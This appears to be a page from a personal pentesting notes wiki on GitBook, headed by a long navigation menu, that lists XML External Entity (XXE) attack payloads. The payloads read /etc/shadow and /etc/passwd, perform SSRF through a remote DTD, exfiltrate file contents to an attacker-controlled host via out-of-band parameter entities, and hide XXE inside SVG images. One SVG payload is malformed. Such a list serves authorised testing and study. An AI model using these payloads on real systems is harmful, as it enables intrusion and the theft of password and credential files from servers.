AKUMA
  • README 🥷🏽
  • Red Teaming 👹
    • Loading 50% 😒
  • 👿BLUE TEAM
    • YARA rules
  • 📦Containers
    • DOCKER
      • Docker Security & Pentesting
        • Commond Docker error
      • 8 Best Practices for Docker Host Security
  • Windows Hardening 🛡️
    • Windows Active Directory Pentesting
      • Dll Hijacking
      • MSDT - Microsoft Support Diagnostic Tool Vulnerability
      • AD Enumeration TOOL
      • AD Certificate Templates
      • Kerberos Delegation
    • Windows Security Controls
      • Applocker Basics
    • Powershell Cheat sheet
    • AMSI Bypass
  • Linux Hardening 🛡️
    • Page 1
  • Network Services Pentesting
    • Footprinting Cheat sheet
      • 21-FTP
      • 161-SNMP
      • 445-SMB-139
      • 2049-NFS
      • 53-DNS
      • 587-SMTP
      • 143-IMAP/POP3
    • Juicy Curl
  • Pentesting Web
    • 100 Web Vulnerabilities, categorized into various types
    • Deserialization
      • Node.js Deserialization
    • SHODAN DORK
    • Vulnerabilities PAYLOADS
      • Directory Traversal Payload
      • Html-Injection-Read-FIle
      • Html-Injection
      • OS-Command-Injection
      • SQL-Injection-Auth-Bypass
      • PHP-Code-Injection
      • SQL-Injection
      • SSRF Basic
      • SSRF
      • XML-External-Entity
      • XSLT (eXtensible Stylesheet Language Transformations)
      • XSS Cheat Sheet
        • XSS
        • XSS -
        • XSS-polyglots
        • Cloudflare's XSS protection
    • Base Information
      • File-Extension-Inclusion
        • File-Inclusion-Windows
        • File-Inclusion-Linux
        • File-Extension
      • Media-Type-(MIME)
      • Windows-Sensitive-Files
      • Linux-Sensitive-Files
      • Linux-Log-Files
  • Blogs
    • How I Passed HTB Certified Penetration Testing Specialist
    • A comparative analysis of Open Source Web Application vulnerability scanners (Rana Khalil)
    • Sean Metcalfe Path for AD
    • Secure Docker - HackerSploit
  • Projects
    • HOME LAB
      • HOME LAB Blogs | Active Directory
        • Active Directory Lab Setup - 101
        • Active Directory Lab Setup - 102
        • Active Directory Lab Setup [ AD Enumeration ] - 103
        • Active Directory Lab Setup [AD Attacks ] - 104
      • Home Lab | Splunk Setup & Configuration
    • HOSTING A WEBSITE AND HARDENING ITS SECURITY
  • CTF- Writeups/ Solutions
    • HTB - Advanced Labs
      • Fortress
        • Jet
        • Akerva
        • Context
        • Synacktv
        • Faraday
        • AWS
      • Endgames
        • Ascension
        • RPG
        • Hades
        • Xen
        • P.O.O.
    • idekCTF 2024 🚩
    • TFC CTF 2024 🏳
    • DeadSec CTF 2024 🏴
      • Bing2 (web)
      • Mic_check (misc)
      • Windows Server (OSINT)
    • ImaginaryCTF 2024 🚩
      • cartesian-1 [Forensics]
      • packed [FORENSICS]
      • bom [FORENSICS]
      • BANK [MISC]
    • NahamCon CTF 2024 🏳
      • all WARMUPs
      • Base3200
      • The Hacker Webstore
      • iDoor
      • All About Robots
      • Thomas DEVerson
      • Helpful Desk
      • Curly Fries
    • Cyber Apocalypse 2024: Hacker Royale 🏴
      • Unbreakable [MISC]
      • StopDropAndRoll [MISC]
      • Character [MISC]
      • Delulu [pwn]
      • Tutorial [pwn]
      • Maze [Hardware]
      • TimeKORP [web]
  • Tools
    • Content Discovery & Form Manipulation
      • ffuf
      • RustScan
      • Feroxbuster
      • Dirsearch
      • Gobuster
      • Wfuzz
      • Webshell
      • websocket
Powered by GitBook
On this page
  1. Pentesting Web
  2. Vulnerabilities PAYLOADS

XML-External-Entity

XXE: Basic XML Example

<?xml version="1.0" encoding="utf-8"?>

    <userInfo>

      <firstName>Rahul</firstName>

      <lastName>Jain</lastName>

    </userInfo>

XXE: Entity Example

<?xml version="1.0" encoding="utf-8"?>

  

    <!DOCTYPE replace [

    <!ENTITY test "Doe"> ]>

     <userInfo>

       <firstName>Rahul</firstName>

       <lastName>&test;</lastName>

     </userInfo>

XXE: File Disclosure Example

<?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE replace [

     <!ENTITY test SYSTEM "file:///etc/shadow"> ]>

     <userInfo>

       <firstName>Rahul</firstName>

       <lastName>&test;</lastName>

     </userInfo>

XXE: Local File Inclusion Example

<?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE foo [  

    <!ELEMENT foo (#ANY)>

    <!ENTITY xxe SYSTEM "file:///etc/passwd">]>

    <foo>&xxe;</foo>

XXE: Server Side Request Forgery Example

<?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE reset [

    <!ENTITY % remote SYSTEM 'http://IP/file_name'>

    %remote;

    %int;

    %trick; ]>

XXE: Payload Using DTD File

    <!ENTITY % a SYSTEM 'file:///etc/passwd'>

    <!ENTITY % b "<!ENTITY &#x25; c SYSTEM 'your website/?cookie=%a;'> " >

    %b;

    %c;

  

(&#x25),(&#37) Are the Hex and decimal value of (%)

To Call This File

<?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE xxe [

    <!ENTITY % remote SYSTEM 'http://IP/file_name'>

    %remote;

XXE: Exploit Using SVG Image

    <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.example.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

XXE: Exploit Using SVG Image (Out Of Band Method)

    <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <<!ENTITY % a SYSTEM "file:///etc/hostname" >>  <!ENTITY b SYSTEM "ur ip/x=?%a; " > ]><svg width="128px" height="128px" xmlns="http://www.example.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

PreviousSSRFNextXSLT (eXtensible Stylesheet Language Transformations)

Last updated 9 months ago